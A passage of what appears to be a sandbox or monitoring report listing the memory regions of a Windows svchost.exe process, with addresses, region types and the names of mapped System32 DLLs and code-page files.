= private name = "private_0x0000000003210000" filename = "" Region: id = 6506 start_va = 0x32a0000 end_va = 0x32b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 6507 start_va = 0x32c0000 end_va = 0x32d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 6508 start_va = 0x32e0000 end_va = 0x32f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 6509 start_va = 0x3400000 end_va = 0x347ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003400000" filename = "" Region: id = 6510 start_va = 0x3480000 end_va = 0x34a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 6511 start_va = 0x34b0000 end_va = 0x34b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034b0000" filename = "" Region: id = 6512 start_va = 0x34c0000 end_va = 0x34d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 6513 start_va = 0x34e0000 end_va = 0x34e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034e0000" filename = "" Region: id = 6514 start_va = 0x3500000 end_va = 0x35fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 6515 start_va = 0x3600000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 6516 start_va = 0x3700000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 6517 start_va = 0x3800000 end_va = 0x387ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 6518 start_va = 0x3880000 end_va = 0x38b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 6519 start_va = 0x38d0000 end_va = 0x38d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038d0000" filename = "" Region: id = 6520 start_va = 0x38e0000 end_va = 0x39dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038e0000" filename = "" Region: id = 6521 start_va = 0x39e0000 end_va = 0x3a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039e0000" filename = "" Region: id = 6522 start_va = 0x3a60000 end_va = 0x3a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 6523 start_va = 0x3aa0000 end_va = 0x3ad0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 6524 start_va = 0x3ae0000 end_va = 0x3bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ae0000" filename = "" Region: id = 6525 start_va = 0x3c00000 end_va = 0x3cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 6526 start_va = 0x3e00000 end_va = 0x3efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 6527 start_va = 0x3f00000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 6528 start_va = 0x4000000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 6529 start_va = 0x4100000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 6530 start_va = 0x4200000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 6531 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 6532 start_va = 0x4400000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 6533 start_va = 0x4500000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 6534 start_va = 0x4600000 end_va = 0x46fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 6535 start_va = 0x4700000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 6536 start_va = 0x4a20000 end_va = 0x4a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 6537 start_va = 0x4aa0000 end_va = 0x4aa1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 6538 start_va = 0x4ac0000 end_va = 0x4ac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ac0000" filename = "" Region: id = 6539 start_va = 0x4ad0000 end_va = 0x4b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ad0000" filename = "" Region: id = 6540 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 6541 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 6542 start_va = 0x5000000 end_va = 0x507ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 6543 start_va = 0x5080000 end_va = 0x517ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 6544 start_va = 0x5200000 end_va = 0x52fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 6545 start_va = 0x5300000 end_va = 0x53fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005300000" filename = "" Region: id = 6546 start_va = 0x5620000 end_va = 0x5624fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 6547 start_va = 0x5630000 end_va = 0x563ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 6548 start_va = 0x5650000 end_va = 0x5656fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005650000" filename = "" Region: id = 6549 start_va = 0x5660000 end_va = 0x575ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005660000" filename = "" Region: id = 6550 start_va = 0x5760000 end_va = 0x585ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005760000" filename = "" Region: id = 6551 start_va = 0x5860000 end_va = 0x58dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005860000" filename = "" Region: id = 6552 start_va = 0x5900000 end_va = 0x59fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 6553 start_va = 0x5a80000 end_va = 0x5b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a80000" filename = "" Region: id = 6554 start_va = 0x5b80000 end_va = 0x5c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b80000" filename = "" Region: id = 6555 start_va = 0x5d00000 end_va = 0x5dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 6556 start_va = 0x5e00000 end_va = 0x5efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 6557 start_va = 0x6090000 end_va = 0x6096fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006090000" filename = "" Region: id = 6558 start_va = 0x6100000 end_va = 0x61fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006100000" filename = "" Region: id = 6559 start_va = 0x6200000 end_va = 0x62fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006200000" filename = "" Region: id = 6560 start_va = 0x6300000 end_va = 0x63fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006300000" filename = "" Region: id = 6561 start_va = 0x6400000 end_va = 0x64fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006400000" filename = "" Region: id = 6562 start_va = 0x6500000 end_va = 0x65fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006500000" filename = "" Region: id = 6563 start_va = 0x6700000 end_va = 0x67fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 6564 start_va = 0x6800000 end_va = 0x68fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006800000" filename = "" Region: id = 6565 start_va = 0x69f0000 end_va = 0x69f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000069f0000" filename = "" Region: id = 6566 start_va = 0x6a00000 end_va = 0x6afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a00000" filename = "" Region: id = 6567 start_va = 0x6b00000 end_va = 0x6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 6568 start_va = 0x6c00000 end_va = 0x6cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 6569 start_va = 0x6e00000 end_va = 0x6efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006e00000" filename = "" Region: id = 6570 start_va = 0x6f00000 end_va = 0x6ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f00000" filename = "" Region: id = 6571 start_va = 0x7000000 end_va = 0x70fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 6572 start_va = 0x7310000 end_va = 0x740ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007310000" filename = "" Region: id = 6573 start_va = 0x7500000 end_va = 0x75fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007500000" filename = "" Region: id = 6574 start_va = 0x7810000 end_va = 0x790ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007810000" filename = "" Region: id = 6575 start_va = 0x7c10000 end_va = 0x7d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c10000" filename = "" Region: id = 6576 start_va = 0x8210000 end_va = 0x830ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008210000" filename = "" Region: id = 6577 start_va = 0x8910000 end_va = 0x8a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008910000" filename = "" Region: id = 6578 start_va = 0x8b10000 end_va = 0x8c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008b10000" filename = "" Region: id = 6579 start_va = 0x8d10000 end_va = 0x8e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d10000" filename = "" Region: id = 6580 start_va = 0x8e10000 end_va = 0x8f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008e10000" filename = "" Region: id = 6581 start_va = 0x8f10000 end_va = 0x900ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008f10000" filename = "" Region: id = 6582 start_va = 0x9010000 end_va = 0x910ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009010000" filename = "" Region: id = 6583 start_va = 0x9110000 end_va = 0x920ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009110000" filename = "" Region: id = 6584 start_va = 0x9210000 end_va = 0x930ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009210000" filename = "" Region: id = 6585 start_va = 0x9310000 end_va = 0x940ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009310000" filename = "" Region: id = 6586 start_va = 0x9410000 end_va = 0x950ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009410000" filename = "" Region: id = 6587 start_va = 0x9510000 end_va = 0x960ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009510000" filename = "" Region: id = 6588 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6589 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 6590 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 6591 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 6592 start_va = 0x7ff661bf0000 end_va = 0x7ff661bfcfff monitored = 0 entry_point = 0x7ff661bf3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 6593 start_va = 0x7ffd31380000 end_va = 0x7ffd313c3fff monitored = 0 entry_point = 0x7ffd313a83e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 6594 start_va = 0x7ffd31a10000 end_va = 0x7ffd31a27fff monitored = 0 entry_point = 0x7ffd31a11b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 6595 start_va = 0x7ffd31e30000 end_va = 0x7ffd31e47fff monitored = 0 entry_point = 0x7ffd31e3b850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 6596 start_va = 0x7ffd31e50000 end_va = 0x7ffd31eacfff monitored = 0 entry_point = 0x7ffd31e7e510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 6597 start_va = 0x7ffd32040000 end_va = 0x7ffd32047fff monitored = 0 entry_point = 0x7ffd320413b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 6598 start_va = 0x7ffd32170000 end_va = 0x7ffd32186fff monitored = 0 entry_point = 0x7ffd32177520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 6599 start_va = 0x7ffd32a80000 end_va = 0x7ffd32d2ffff monitored = 0 entry_point = 0x7ffd32a81cf0 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 6600 start_va = 0x7ffd353d0000 end_va = 0x7ffd3540efff monitored = 0 entry_point = 0x7ffd353f82d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 6601 start_va = 0x7ffd35b70000 end_va = 0x7ffd35b80fff monitored = 0 entry_point = 0x7ffd35b728d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 6602 start_va = 0x7ffd35bb0000 end_va = 0x7ffd35be1fff monitored = 0 entry_point = 0x7ffd35bbb0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 6603 start_va = 0x7ffd35ef0000 end_va = 0x7ffd35f0cfff monitored = 0 entry_point = 0x7ffd35ef4f60 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 6604 start_va = 0x7ffd35f50000 end_va = 0x7ffd35f61fff monitored = 0 entry_point = 0x7ffd35f51a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 6605 start_va = 0x7ffd360e0000 end_va = 0x7ffd36125fff monitored = 0 entry_point = 0x7ffd360e79a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 6606 start_va = 0x7ffd362b0000 end_va = 0x7ffd363befff monitored = 0 entry_point = 0x7ffd362ec010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 6607 start_va = 0x7ffd36440000 end_va = 0x7ffd364a6fff monitored = 0 entry_point = 0x7ffd3644b160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 6608 start_va = 0x7ffd368c0000 end_va = 0x7ffd369dcfff monitored = 0 entry_point = 0x7ffd368efe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 6609 start_va = 0x7ffd38470000 end_va = 0x7ffd38483fff monitored = 0 entry_point = 0x7ffd38472a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 6610 start_va = 0x7ffd3af10000 end_va = 0x7ffd3af45fff monitored = 0 entry_point = 0x7ffd3af127f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 6611 start_va = 0x7ffd3c980000 end_va = 0x7ffd3c990fff monitored = 0 entry_point = 0x7ffd3c987480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 6612 start_va = 0x7ffd3c9a0000 end_va = 0x7ffd3ca23fff monitored = 0 entry_point = 0x7ffd3c9b8d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 6613 start_va = 0x7ffd3ca30000 end_va = 0x7ffd3ca45fff monitored = 0 entry_point = 0x7ffd3ca31af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 6614 start_va = 0x7ffd3ca50000 end_va = 0x7ffd3ca69fff monitored = 0 entry_point = 0x7ffd3ca52330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 6615 start_va = 0x7ffd3ca70000 end_va = 0x7ffd3ca7cfff monitored = 0 entry_point = 0x7ffd3ca71420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 6616 start_va = 0x7ffd3cb30000 end_va = 0x7ffd3cb45fff monitored = 0 entry_point = 0x7ffd3cb355e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 6617 start_va = 0x7ffd3cb50000 end_va = 0x7ffd3cc25fff monitored = 0 entry_point = 0x7ffd3cb7a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 6618 start_va = 0x7ffd3cc30000 end_va = 0x7ffd3cc93fff monitored = 0 entry_point = 0x7ffd3cc4bed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 6619 start_va = 0x7ffd3cca0000 end_va = 0x7ffd3ccc4fff monitored = 0 entry_point = 0x7ffd3cca9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 6620 start_va = 0x7ffd3ccd0000 end_va = 0x7ffd3cdc5fff monitored = 0 entry_point = 0x7ffd3cd09590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 6621 start_va = 0x7ffd3cdd0000 end_va = 0x7ffd3cf06fff monitored = 0 entry_point = 0x7ffd3ce10480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 6622 start_va = 0x7ffd3cf30000 end_va = 0x7ffd3cf3efff monitored = 0 entry_point = 0x7ffd3cf34960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 6623 start_va = 0x7ffd3d070000 end_va = 0x7ffd3d080fff monitored = 0 entry_point = 0x7ffd3d072fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 6624 start_va = 0x7ffd3d090000 end_va = 0x7ffd3d0adfff monitored = 0 entry_point = 0x7ffd3d093a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 6625 start_va = 0x7ffd3d0b0000 end_va = 0x7ffd3d131fff monitored = 0 entry_point = 0x7ffd3d0b2a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 6626 start_va = 0x7ffd3d150000 end_va = 0x7ffd3d163fff monitored = 0 entry_point = 0x7ffd3d151800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 6627 start_va = 0x7ffd3d170000 end_va = 0x7ffd3d1e3fff monitored = 0 entry_point = 0x7ffd3d185eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 6628 start_va = 0x7ffd3dd00000 end_va = 0x7ffd3dd3ffff monitored = 0 entry_point = 0x7ffd3dd0cbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 6629 start_va = 0x7ffd3dd40000 end_va = 0x7ffd3dd86fff monitored = 0 entry_point = 0x7ffd3dd41d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 6630 start_va = 0x7ffd3dd90000 end_va = 0x7ffd3ddd1fff monitored = 0 entry_point = 0x7ffd3dd93670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 6631 start_va = 0x7ffd3e040000 end_va = 0x7ffd3e05efff monitored = 0 entry_point = 0x7ffd3e0437e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 6632 start_va = 0x7ffd3e060000 end_va = 0x7ffd3e0d8fff monitored = 0 entry_point = 0x7ffd3e0676a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 6633 start_va = 0x7ffd3e330000 end_va = 0x7ffd3e347fff monitored = 0 entry_point = 0x7ffd3e334e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 6634 start_va = 0x7ffd3e350000 end_va = 0x7ffd3e374fff monitored = 0 entry_point = 0x7ffd3e355ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 6635 start_va = 0x7ffd3e380000 end_va = 0x7ffd3e422fff monitored = 0 entry_point = 0x7ffd3e382c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 6636 start_va = 0x7ffd3e430000 end_va = 0x7ffd3e481fff monitored = 0 entry_point = 0x7ffd3e435770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 6637 start_va = 0x7ffd3e490000 end_va = 0x7ffd3e4bdfff monitored = 1 entry_point = 0x7ffd3e492300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 6638 start_va = 0x7ffd3e4c0000 end_va = 0x7ffd3e51dfff monitored = 0 entry_point = 0x7ffd3e4c5080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 6639 start_va = 0x7ffd3e520000 end_va = 0x7ffd3e53ffff monitored = 0 entry_point = 0x7ffd3e521f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 6640 start_va = 0x7ffd3e540000 end_va = 0x7ffd3e548fff monitored = 0 entry_point = 0x7ffd3e5418f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 6641 start_va = 0x7ffd3e550000 end_va = 0x7ffd3e560fff monitored = 0 entry_point = 0x7ffd3e551d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 6642 start_va = 0x7ffd3e570000 end_va = 0x7ffd3e5b0fff monitored = 0 entry_point = 0x7ffd3e573750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 6643 start_va = 0x7ffd3e5c0000 end_va = 0x7ffd3e6b2fff monitored = 0 entry_point = 0x7ffd3e5e5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6644 start_va = 0x7ffd3e700000 end_va = 0x7ffd3e74bfff monitored = 0 entry_point = 0x7ffd3e715310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 6645 start_va = 0x7ffd3e990000 end_va = 0x7ffd3e9a3fff monitored = 0 entry_point = 0x7ffd3e993710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 6646 start_va = 0x7ffd3e9b0000 end_va = 0x7ffd3e9d7fff monitored = 0 entry_point = 0x7ffd3e9befc0 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 6647 start_va = 0x7ffd3ea40000 end_va = 0x7ffd3ea5dfff monitored = 0 entry_point = 0x7ffd3ea4ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 6648 start_va = 0x7ffd3ea60000 end_va = 0x7ffd3ea77fff monitored = 0 entry_point = 0x7ffd3ea62000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: 